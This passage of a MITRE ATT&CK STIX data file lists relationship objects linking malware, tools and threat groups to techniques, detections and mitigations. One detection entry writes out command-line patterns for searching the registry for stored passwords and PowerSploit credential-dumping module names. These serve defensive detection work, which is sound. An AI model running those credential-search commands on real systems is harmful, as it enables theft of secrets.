["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44232d0d-5a86-4662-8934-054fcc9afbb3", "type": "relationship", "created": "2019-03-26T16:19:52.441Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Nyetya June 2017", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}, {"description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", "source_name": "US-CERT NotPetya 2017"}, {"url": "http://windowsitpro.com/systems-management/psexec", "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", "source_name": "PsExec Russinovich"}], "modified": "2019-04-24T20:02:45.183Z", "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029), which interacts with the <code>ADMIN$</code> network share to execute commands on remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: PsExec Russinovich)", "relationship_type": "uses", "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Dsquery", "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx"}, {"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-19T16:11:39.566Z", "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.(Citation: TechNet Dsquery)(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44271618-cc52-45a9-9799-e9665b73cfc2", "created": "2024-04-04T18:05:46.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kersten Akira 2023", "description": "Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.", "url": "https://www.trellix.com/blogs/research/akira-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-08T17:48:25.574Z", "description": "[Akira](https://attack.mitre.org/software/S1129) will leverage COM objects accessed through WMI during execution to evade detection.(Citation: Kersten Akira 2023)", "relationship_type": "uses", "source_ref": "malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44272fb3-a31d-4cea-b11c-b65e2bdcbd68", "type": "relationship", "created": "2021-09-21T15:10:56.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks GOLD KINGSWOOD September 2018", "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}], "modified": "2021-09-21T15:10:56.101Z", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify the system name of a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}, {"source_name": "PWC Cloud Hopper April 2017", "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}, {"source_name": "Symantec Cicada November 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}, {"source_name": "District Court of NY APT10 Indictment December 2018", "url": "https://www.justice.gov/opa/page/file/1122671/download", "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Securelist APT10 March 2021)", "modified": "2022-07-20T20:07:40.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4428158e-cf07-49f0-8a9f-5cc767027e2a", "type": "relationship", "created": "2021-04-07T18:07:47.886Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "modified": "2021-04-07T18:07:47.886Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) was executed through the kubelet API run command and by executing commands on running containers.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--442a2cd1-62fa-4da2-9160-afbf88e6a8b9", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:40:57.870Z", "description": "Monitor newly executed processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nNote: Pseudocode Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for command-line instances of searching the Windows Registry for insecurely stored credentials. This can be accomplished using the query functionality of the [Reg](https://attack.mitre.org/software/S0075) system utility, by looking for keys and values that contain strings such as \u201cpassword\u201d. In addition, adversaries may use toolkits such as\u00a0[PowerSploit](https://attack.mitre.org/software/S0194)  in order to dump credentials from various applications such as IIS. Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several PowerSploit modules with similar functionality.\n\nAnalytic 1 - Credentials in Files & Registry\n\n<code>(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\")  \nCommandLine=\"*reg* query HKLM /f password /t REG_SZ /s*\" OR\nCommandLine=\"reg* query HKCU /f password /t REG_SZ /s\" OR\nCommandLine=\"*Get-UnattendedInstallFile*\" OR\nCommandLine=\"*Get-Webconfig\" OR\nCommandLine=\"*Get-ApplicationHost*\" OR\nCommandLine=\"*Get-SiteListPassword*\" OR\nCommandLine=\"*Get-CachedGPPPassword*\" OR\nCommandLine=\"*Get-RegistryAutoLogon*\" </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--442cf157-2812-4c62-8a6c-c12c6a207b1c", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--442ff7a8-149b-4d26-933a-033ba25b9838", "created": "2022-10-13T16:59:26.535Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:59:26.535Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has established persistence via the `HKCU\\SOFTWARE\\microsoft\\windows\\currentversion\\run` registry key.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44356d36-d119-4274-8c93-9e0bd50f60ed", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Process Creation Flags May 2018", "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.", "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"}, {"source_name": "Secuirtyinbits Ataware3 May 2019", "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.", "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-04T15:07:21.868Z", "description": "Monitor for API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019)This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4436ace7-a47d-4d18-afa1-4454432fba66", "type": "relationship", "created": "2020-01-30T14:24:35.602Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-30T14:24:35.602Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AlienVault Sykipot 2011", "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}], "modified": "2020-03-16T17:50:28.616Z", "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running <code>tasklist /v</code>.(Citation: AlienVault Sykipot 2011)", "relationship_type": "uses", "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4439e86a-de1d-4ea6-a856-858b799bcdc5", "type": "relationship", "created": "2020-05-12T21:56:33.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.356Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--443ee76b-8fd4-4485-bdbb-4a562f348be0", "type": "relationship", "created": "2021-02-17T20:27:27.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM MegaCortex", "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}], "modified": "2021-03-31T18:59:31.269Z", "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used code signing certificates issued to fake companies to bypass security controls.(Citation: IBM MegaCortex)", "relationship_type": "uses", "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44446a21-affe-4935-ba17-94e4cb521a25", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor for changes made to Windows Registry keys and/or values that may forge credential materials that can be used to gain access to web applications or Internet services.", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44468587-67b5-4c44-8c2b-ed2b4769f055", "created": "2023-03-17T15:46:21.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T14:57:49.129Z", "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) gathered victim organization information to identify specific targets.(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44494749-870a-4ca5-beee-85d88f78a693", "created": "2024-03-11T19:06:01.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T15:01:08.777Z", "description": "[ZIPLINE](https://attack.mitre.org/software/S1114) can communicate with C2 using a custom binary protocol.(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--444dc2e9-3f54-4ab9-b004-363ae1221373", "type": "relationship", "created": "2020-03-15T16:27:38.221Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-21T16:26:35.294Z", "description": "Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44533bc7-0368-4269-b465-7e08d3a8beea", "type": "relationship", "created": "2020-05-26T18:03:17.295Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-09-27T17:42:18.877Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has side-loaded its malicious DLL file.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44577477-b599-46f0-84bf-7e0de773d848", "type": "relationship", "created": "2020-10-27T19:20:07.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}], "modified": "2020-10-27T19:20:07.332Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4458ca35-0285-408b-9059-62c36086fd0a", "type": "relationship", "created": "2020-05-05T18:47:47.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Imminent Unit42 Dec2019", "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020."}], "modified": "2020-05-05T18:47:47.353Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a \"Process Watcher\" feature to monitor processes in case the client ever crashes or gets closed.(Citation: Imminent Unit42 Dec2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4459b6fe-e1d0-40cb-b6f1-efc0e4431442", "created": "2023-03-26T20:10:23.958Z", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}, {"source_name": "Kaspersky ShadowPad Aug 2017", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:10:23.958Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) maintains a configuration block and virtual file system in the Registry.(Citation: Kaspersky ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--445c926e-e0fb-4ac1-ba70-4ed45a68c592", "created": "2022-06-01T20:44:30.777Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Forcepoint BITTER Pakistan Oct 2016", "url": "https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan", "description": "Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}, {"source_name": "Cisco Talos Bitter Bangladesh May 2022", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has attempted to lure victims into opening malicious attachments delivered via spearphishing.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-06-01T21:22:22.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44671cd3-9bdd-4e9f-a7d1-a322d0abf659", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et 